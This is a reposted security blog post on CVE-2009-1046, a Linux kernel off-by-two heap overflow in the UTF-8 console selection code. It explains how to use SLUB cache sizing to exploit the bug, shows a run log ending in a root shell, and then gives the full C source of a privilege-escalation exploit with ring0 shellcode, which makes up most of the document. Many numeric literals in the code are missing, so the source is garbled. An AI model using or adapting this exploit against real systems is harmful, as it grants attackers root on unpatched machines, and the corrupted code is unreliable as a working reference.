[转]Even when one byte matters

Source：http://kernelbof.blogspot.jp/2009/07/even-when-one-byte-matters.html

Common Vulnerabilities and Exposures

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1046

"The console selection feature in the Linux kernel 2.6.28 before 2.6.28.4, 2.6.25, and possibly earlier versions, when the UTF-8 console is used, allows physically proximate attackers to cause a denial of service (memory corruption) by selecting a small number of 3-byte UTF-8 characters, which triggers an "an off-by-two memory error. NOTE: it is not clear whether this issue crosses privilege boundaries."

Ubuntu Security Notice USN-751-1

http://www.ubuntu.com/usn/usn-751-1

"The virtual consoles did not correctly handle certain UTF-8 sequences. A local attacker on the physical console could exploit this to cause a system crash, leading to a denial of service."

RedHat Security Advisory

http://rhn.redhat.com/errata/RHSA-2009-0451.html

"An off-by-two error was found in the set_selection() function of the Linux kernel. This could allow a local, unprivileged user to cause a denial of service when making a selection of characters in a UTF-8 console. Note: physical console access is required to exploit this issue."

When I was looking at vendor advisories regarding SCTP remote issue i got attracted by another bug regarding hypothetical kernel heap overflow.

For the umpteenth time the impact of the vulnerability is : DoS only.

The impact of this issue is highly limited because of you need a VC attached to your process to exploit it, but it's worth spending some time on it since it's not an everyday bug to find in the kernel.. it's an interesting scenario: an off-by-one(two) kernel heap overflow.

As I did for the previous post, I'm not going to give any detailed

description of the exploit: it should be straightforward enough to

everyone who's used to play with internal kernel structures.

What I'm about to do is, once again, just briefly introduce the

vulnerability and then spend some time on showing how it is possible to

turn it in a nearly one-shot exploit.

Before going on i want to include a digression about this blog:

the original idea was to publish a month by month exploit regarding DoS-claiming-only vulnerability in the linux kernel.

After publishing the first post, about SCTP remote exploit, i received some roasts.

Someone pulled me down about disclosing a few cool stuff.

I want to point out that i just wrote the exploit: i did not kill the vulnerability.

I don't like full disclosure, at least i don't like what full disclosure has become today: a freaking race between killer-vulns-guys.

Even if i think there's a big difference between killing vulnerabilities and writing good exploit code i 'm not sure if i'll continue publishing these stuffs.

The buffer is allocated here:

file: /drivers/char/selection.c

func: set_selection()

multiplier = use_unicode ? 3 : 1;

bp = kmalloc((sel_end-sel_start)/2*multiplier+1, GFP_KERNEL);

then the function copies the buffer:

sel_buffer = bp;

obp = bp;

for (i = sel_start; i <= sel_end; i += 2) {

c = sel_pos(i);

if (use_unicode)

bp += store_utf8(c, bp);

...

...

The loop goes from sel_start to sel_end (inclusive). The last character is not multiplied by multiplier (which has value 3) and so we can overflow the buffer by 1 or 2 byte. To make the overflow meaningful we have to allocate a buffer close to the size of a cache object slab or the overflow will end up in the pad zone. Since we can control the "delta" between sel_start and sel_end we can arbitrary choose the slub to be used.

On of the better slub to pick usually is the 96 bytes slub.. but it doesn't fulfill our goal because:

63 / 2 * 3 + 1 = 94

(if we overflow 2 byte we get 96.. no meaningful overflow happens..)

64 / 2 * 3 + 1= 97

(too large to fit in..)

We pick instead the 128 slub cache.. using a gap equal to:

84 / 2 * 3 = 127

(if we overflow 2 bytes we have meaningful off-by-one heap overflow)

Now we can overflow into another 128 byte object which has some interesting meaningful pointer or we can smash internal SLUB structure.

The exploit takes the latter approach smashing internal SLUB structure taking full control of the SLUB allocation engine.

I decide to use again a previously disclosed structure as a placeholder: SCTP ssnmap struct.

This can lead to some problem with SELinux.

There are other interesting structures to pick in the place of SCTP ones but it is not worth showing them here for such an not useful exploit.

A couple of words about lack of full-recovery in the exploit. On boxes protected by zero mapping kernel protection the code leaves two descriptors holding smashed pointers in its internal structures. Before executing the shell the code migrates those descriptors inside a child process. When this child process will be killed (after reboot?) the kernel oops.

A different way could be:

- migrate descriptors inside some daemon using ptrace()/SCM_RIGHT

- directly patch smashed pointers adding code to the ring0 shellcode

- using a stupid lkm

The exploit works only on x86-64 platform with SLUB allocator but anyone can run it on x86 kernel modifying a couple of lines.

Talking about "external resources", the exploit uses "/proc/slabinfo" and "/proc/kallsyms". The former is not crucial but increases the exploitation odds close to 100% on idle boxes. The latter is not needed if you have access to the kernel image.

I'd like to thank twiz for his pioneer work on original old SLAB exploitation approach: it helps me much in abusing new SLUB counterpart.

Tested on target:

Ubuntu 8.04 x86_64 (generic/server)

Ubuntu 8.10 x86_64 (generic/server) (CTRL + ALT + F1 ==> VC Mode)

Fedora Core 10 x86_64 (default installed kernel - without SElinux)

$ ./tioctl_houdini

[**] Patching ring0 shellcode with userspace addr: 0x4017e0

[**] Using port: 25433

[**] Getting slab info...

[**] Mapping Segments...

[**] Trying mapping safe page...Page Protection Present (Unable to Map Safe Page)

[**] Mapping High Address Page (don't kill placeholder child)

[**] Mapping Code Page... Done

[**] Binding on CPU 0

[**] Start Server Thread..

...

...

...

┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼

┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼

┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼

[**] Umapped end-to-end fd: 212

[**] Unsafe fd: ( 210 224 214 212 )

[**] Hijacking fops...

[**] Migrate evil unsafe fds to child process..

[**] Child process 25463 _MUST_ NOT die..keep it alive:)

[**] Got root!

# id

uid=0(root) gid=0(root) groups=1001(anon)

GAME OVER

The exploit code can be downloaded here.

/* CVE-2009-1046 Virtual Console UTF-8  set_selection() off-by-one(two) Memory Corruption
 * Linux Kernel <= 2.6.28.3
 *
 * coded by: sgrakkyu <at> antifork.org
 * http://kernelbof.blogspot.com/2009/07/even-when-one-byte-matters.html
 *
 * Dedicated to all people talking nonsense about non exploitability of kernel heap off-by-one overflow
 *
 * NOTE-1: you need a virtual console attached to the standard output (stdout)
 * - physical login
 * - ptrace() against some process with the same uid already attached to a VC
 * - remote management ..
 *
 * NOTE-2: UTF-8 character used is: U+253C - it seems to be supported in most standard console fonts
 * but if it's _not_: change it (and change respectively STREAM_ZERO and STREAM_ZERO_ALT defines)
 * If you use an unsupported character expect some sort of recursive fatal ooops:)
 *
 * Designed to be built as x86-64 binary only (SLUB ONLY)
 * SCTP stack has to be available
 *
 * Tested on target:
 * Ubuntu 8.04 x86_64 (2.6.24_16-23 generic/server)
 * Ubuntu 8.10 x86_64 (2.6.27_7-10 genric/server)
 * Fedora Core 10 x86_64 (default installed kernel - without selinux)
 *
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <errno.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <string.h>
#include <linux/tiocl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/mman.h>
#include <sched.h>
#include <unistd.h>
#include <fcntl.h>

#ifndef __x86_64__
#error "Architecture Unsupported"
#error "This code was written for x86-64 target and has to be built as x86-64 binary"
#else

#ifndef __u8
#define __u8  uint8_t
#endif
#ifndef __u16
#define __u16 uint16_t
#endif
#ifndef __u32
#define __u32 uint32_t
#endif
#ifndef __u64
#define __u64 uint64_t
#endif

#define STREAM_ZERO 10
#define STREAM_ZERO_ALT 12

#define SCTP_STREAM 22
#define STACK_SIZE 0x1000
#define PAGE_SIZE 0x1000
#define STRUCT_PAGE  0x0000000000000000
#define STRUCT_PAGE_ALT 0x0000000100000000
#define CODE_PAGE      0x0000000000010000
#define LOCALHOST "127.0.0.1"
#define KMALLOC "kmalloc-128"
#define TIMER_LIST_FOPS "timer_list_fops"

#define __msg_f(format, args...) \
  do { fprintf(stdout, format, ## args); } while()

#define __msg(msg) \
  do { fprintf(stdout, "%s", msg); } while()

#define __fatal_errno(msg) \
do { perror(msg); __free_stuff(); exit(); } while()

#define __fatal(msg) \
do { fprintf(stderr, msg); __free_stuff(); exit(); } while()

#define CJUMP_OFF 13
char ring0[]=
"\x57"                                      //    push   %rdi
"\x50"                                      //    push   %rax
"\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"      //    mov    %gs:0x0,%rdi
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41"  //    mov   xxx, %rax
"\xff\xd0"                                  //    callq  *%rax
"\x58"                                      //    pop    %rax
"\x5f"                                      //    pop    %rdi
"\xc3";                                     //    retq

/* conn struct */
static __u16 srvport;
struct sockaddr_in server_s;
static struct sockaddr_in caddr;

/* some fds.. */
static int g_array[];
static int fd_zmap_srv=-;
static int kmalloc_fd=-;
static int unsafe_fd[] = {-,-,-,-}; 

/* misc */
static int dorec = , cankill=, highpage=;
static char cstack[STACK_SIZE*];
static __u16 zstream=STREAM_ZERO;
static __u32 uid,gid;
static __u64 fops;
static pid_t child=;
static char symbuf[];

static void __free_stuff()
{
  int i;
  for(i=; i<; i++)
  {
    if((unsafe_fd[] == i || unsafe_fd[] == i ||
       unsafe_fd[] == i || unsafe_fd[] == i))
        continue; 

    close(i);
  }
}

static void bindcpu()
{
  cpu_set_t set;
  CPU_ZERO(&set);
  CPU_SET(, &set);

  if(sched_setaffinity(, sizeof(cpu_set_t), &set) < )
    __fatal_errno("setaffinity");
}

/* parse functions are not bof-free:) */
static __u64 get_fops_addr()
{
  FILE* stream;
  char fbuf[];
  char addr[];

  stream = fopen("/proc/kallsyms", "r");
  if(stream < )
    __fatal_errno("open: kallsyms");

  memset(fbuf, 0x00, sizeof(fbuf));
  while(fgets(fbuf, , stream) > )
  {
    char *p = fbuf;
    char *a = addr;
    memset(addr, 0x00, sizeof(addr));
    fbuf[strlen(fbuf)-] = ;
    while(*p != ' ')
      *a++ = *p++;
    p += ;
    if(!strcmp(p, TIMER_LIST_FOPS))
      return strtoul(addr, NULL, );
  }

  return ;
}

static int get_total_object(int fd)
{
  char name[];
  char used[];
  char total[];
  char *ptr[] = {name, used, total};
  int ret,i,toread=sizeof(symbuf)-;
  char *p = symbuf;

  lseek(fd, , SEEK_SET);
  memset(symbuf, 0x00, sizeof(symbuf));
  while( (ret = read(fd, p, toread)) > )
  {
    p += ret;
    toread -= ret;
  }

  p = symbuf;
  do
  {
    for(i=; i<sizeof(ptr)/sizeof(void*); i++)
    {
      char *d = ptr[i];
      while(*p != ' ')
        *d++ = *p++;
      *d = ;
      while(*p == ' ')
        p++;
    }

    while(*p++ != '\n');

    if(!strcmp(KMALLOC, name))
      return atoi(total);  

  } while(*p != );
  return ;
}

static void ring0c(void* t)
{
  int i;
  __u32 *p = t;
  for(i=; i<; i++,p++)
  {
      if(p[] == uid && p[] == uid && p[] == uid && p[] == uid &&
         p[] == gid && p[] == gid && p[] == gid && p[] == gid)
         {
           p[] = p[] = p[] = p[] = ;
           p[] = p[] = p[] = p[] = ;
           /* dont care about caps */
           break;
         }
  }
}

static int get_kmalloc_fd()
{
  int fd;
  fd = open("/proc/slabinfo", O_RDONLY);
  if(fd < )
    __fatal_errno("open: slabinfo");
  return fd;
}

static int write_sctp(int fd, struct sockaddr_in *s, int channel)
{
  int ret;
  ret = sctp_sendmsg(fd, "a", ,
               (struct sockaddr *)s, sizeof(struct sockaddr_in),
               , , channel,  ,);
  return ret;
}

static void set_sctp_sock_opt(int fd, __u16 in, __u16 out)
{
  struct sctp_initmsg msg;
  int val=;
  socklen_t len_sctp = sizeof(struct sctp_initmsg);
  getsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, &len_sctp);
  msg.sinit_num_ostreams=out;
  msg.sinit_max_instreams=in;
  setsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, len_sctp);
  setsockopt(fd, SOL_SCTP, SCTP_NODELAY, (char*)&val, sizeof(val));
}

static int create_and_init(void)
{
  int fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
  if(fd < )
    __fatal_errno("socket: sctp");
  set_sctp_sock_opt(fd, SCTP_STREAM, SCTP_STREAM);
  return fd;
}

static void connect_peer(int fd, struct sockaddr_in *s)
{
  int ret;
  ret = connect(fd, (struct sockaddr *)s, sizeof(struct sockaddr_in));
  if(ret < )
    __fatal_errno("connect: one peer");
}

static void conn_and_write(int fd, struct sockaddr_in *s, __u16 stream)
{
  connect_peer(fd,s);
  write_sctp(fd, s, stream);
}

static int clone_thread(void*useless)
{
  int o = ;
  int c=,idx=;
  int fd, ret;
  struct sockaddr_in tmp;
  socklen_t len;

  bindcpu();
  server_s.sin_family = PF_INET;
  server_s.sin_port = htons(srvport);
  server_s.sin_addr.s_addr = inet_addr(LOCALHOST);

  fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
  if(fd < )
    return -;

  set_sctp_sock_opt(fd, SCTP_STREAM, SCTP_STREAM);
  setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char *)&o, sizeof(o));

  ret = bind(fd, (struct sockaddr *)&server_s, sizeof(struct sockaddr_in));
  if(ret < )
    return -;

  ret = listen(fd, );
  if(ret < )
    return -;

  len = sizeof(struct sockaddr_in);
  while((ret = accept(fd, (struct sockaddr *)&tmp, &len)) >= )
  {
    if(dorec !=  && c >= dorec && idx < )
    {
      g_array[idx] = ret;
      if(idx==)
      {
        fd_zmap_srv = ret;
        caddr = tmp;
        break;
      }
      idx++;
    }
    c++;
    write_sctp(ret, &tmp, zstream);
  }

  sleep();
  return ;
}

static int do_mmap(unsigned long base, int npages)
{
  void*addr = mmap((void*)base, PAGE_SIZE*npages,
                   PROT_READ|PROT_WRITE|PROT_EXEC,
                   MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -, );

  if(MAP_FAILED == addr)
    return -;

  memset(addr, 0x00, PAGE_SIZE*npages);

  return ;
}

pid_t start_listener()
{
  pid_t pid;
  pid = clone(clone_thread, cstack+STACK_SIZE-,
              CLONE_VM|CLONE_FILES|SIGCHLD, NULL);

  return pid;
} 

static void do_socks(struct sockaddr_in *s, __u16 stream)
{
  int i,fd;
  int n_objs = get_total_object(kmalloc_fd), tmp_n_objs;
  int next=;

  for(i=; next != ; i++)
  {
    fd = create_and_init();

    tmp_n_objs = get_total_object(kmalloc_fd);
    if(!dorec && tmp_n_objs != n_objs)
      dorec=i; 

    conn_and_write(fd, s, stream);
    if(dorec)
      next--;
  }
}

static void clr(int fd)
{
  /* use termcap instead..*/
  write(fd, "\33[H\33[J", );
}

static char tiobuffer[];
void alloc_tioclinux()
{
  int i;
  char out[*];
  /* Unicode Character 'BOX DRAWINGS LIGHT VERTICAL AND HORIZONTAL' (U+253C) */
  char utf8[] = { 0xE2, 0x94, 0xBC };
  //char utf8[3] = { 0xE2, 0x80, 0xBC };
  struct tiocl_selection *sel;
  char *t;
  void *v = malloc(sizeof(struct tiocl_selection) + );
  t = (char*)v;
  sel = (struct tiocl_selection *)(t+);
  memset(out, 0x41, sizeof(out));
  for(i=; i<; i++)
  {
    tiobuffer[(i*)]=utf8[];
    tiobuffer[(i*)+]=utf8[];
    tiobuffer[(i*)+]=utf8[];
  }

  *t = TIOCL_SETSEL;
  sel->xs = ;
  sel->ys = ;
  sel->xe = ;
  //sel->xe = 42; /* no overflow */
  sel->ye = ;

  write(, tiobuffer, sizeof(tiobuffer));
  if(ioctl(, TIOCLINUX, v) < )
    __fatal("[!!] Unable to call TIOCLINUX ioctl(), need stdout to be on a virtual console\n");
}

static void migrate_evil_fd()
{
  int i;
  pid_t child;

  __msg("[**] Migrate evil unsafe fds to child process..\n");
  child = fork();
  if(!child)
  {

    /* preserve evil fds */
    setsid();
    if(!cankill) /* cant die .. */
      while()
        sleep();
    else
    {
      sleep(); /* wait execve() before */
      for(i=; i<; i++)
        close(unsafe_fd[i]); 

      exit();
    }
  }
  else
  {
    if(!cankill)
      __msg_f("[**] Child process %d _MUST_ NOT die ... keep it alive:)\n", child);
  }
}

static void trigger_fault()
{
  char *argv[]={"/bin/sh", NULL};
  int fd,i;

  fd = open("/proc/timer_list", O_RDONLY);
  if(fd >= )
  {
    ioctl(fd, , );
    __free_stuff();
    migrate_evil_fd();

    for(i=; i<; i++)
      close(unsafe_fd[i]);

    if(!getuid())
    {
      __msg("[**] Got root!\n");
      execve("/bin/sh", argv, NULL);
    }
  }
  else
  {
    __msg("[**] Cannot open /proc/timer_list");
    __free_stuff();
  }
}

static void overwrite_fops( int sender,
                            struct sockaddr_in *to_receiver,
                            int receiver)
{
  char *p = NULL;
  if(!highpage)
    p++;
  else
    p = (void*)STRUCT_PAGE_ALT;

  __u64 *uip = (__u64*)p;
  *uip = fops;
  write_sctp(sender, to_receiver, );
  sleep();
  trigger_fault();
}

static __u16 get_port()
{
  __u16 r = (__u16)getpid();
  if(r <= 0x400)
    r+=0x400;
  return r;
}

int main(int argc, char *argv[])
{
  int peerx, peery,i;
  __u64 *patch;

  srvport = get_port();

  uid=getuid();
  gid=getgid();
  fops=get_fops_addr() + ;
  if(!fops)
  {
    __msg("[!!] Unable to locate symbols...\n");
    return ;
  }

  __msg_f("[**] Patching ring0 shellcode with userspace addr: %p\n", ring0c);
  patch = (__u64*)(ring0 + CJUMP_OFF);
  *patch = (__u64)ring0c;

  __msg_f("[**] Using port: %d\n", srvport);
  __msg("[**] Getting slab info...\n");
  kmalloc_fd = get_kmalloc_fd();
  if(!get_total_object(kmalloc_fd))
    __fatal("[!!] Only SLUB allocator supported\n");

  __msg("[**] Mapping Segments...\n");
  __msg("[**] Trying mapping safe page...");
  if(do_mmap(STRUCT_PAGE, ) < )
  {
    __msg("Page Protection Present (Unable to Map Safe Page)\n");
    __msg("[**] Mapping High Address Page (dont kill placeholder child)\n");
    if(do_mmap(STRUCT_PAGE_ALT, ) < )
      __fatal_errno("mmap"); 

    cankill=;  /* dont kill child owning unsafe fds.. */
    highpage=; /* ssnmap in higher pages */
    zstream=STREAM_ZERO_ALT;
  }
  else
    __msg("Done\n");

  __msg("[**] Mapping Code Page... ");
  if(do_mmap(CODE_PAGE, ) < )
    __fatal_errno("mmap");
  else
    __msg("Done\n");

  memcpy((void*)CODE_PAGE, ring0, sizeof(ring0));

  __msg("[**] Binding on CPU 0\n");
  bindcpu(); 

  __msg("[**] Start Server Thread..\n");
  child = start_listener();
  sleep(); 

  do_socks(&server_s, zstream);
  for(i=; i<; i++)
  {
    close(g_array[--i]);
  }
  clr();
  alloc_tioclinux(); // trigger overflow
  peerx = create_and_init();
  connect_peer(peerx, &server_s);
  peery = create_and_init();
  connect_peer(peery, &server_s);

  sleep();

  unsafe_fd[] = peerx;
  unsafe_fd[] = g_array[];
  unsafe_fd[] = peery;
  unsafe_fd[] = g_array[];

  __msg("\n");
  __msg_f("[**] Umapped end-to-end fd: %d\n", fd_zmap_srv);
  __msg_f("[**] Unsafe  fd: ( ");

  for(i=; i<; i++)
    __msg_f("%d ", unsafe_fd[i]);
  __msg(")\n"); 

  __msg("[**] Hijacking fops...\n");
  overwrite_fops(fd_zmap_srv, &caddr, peery);

  /* if u get here.. something nasty happens...may crash..*/
  __free_stuff();
  __msg("[**] Exploit failed.. freezing process\n");
  kill(getpid(), SIGSTOP);
  return ;
}

#endif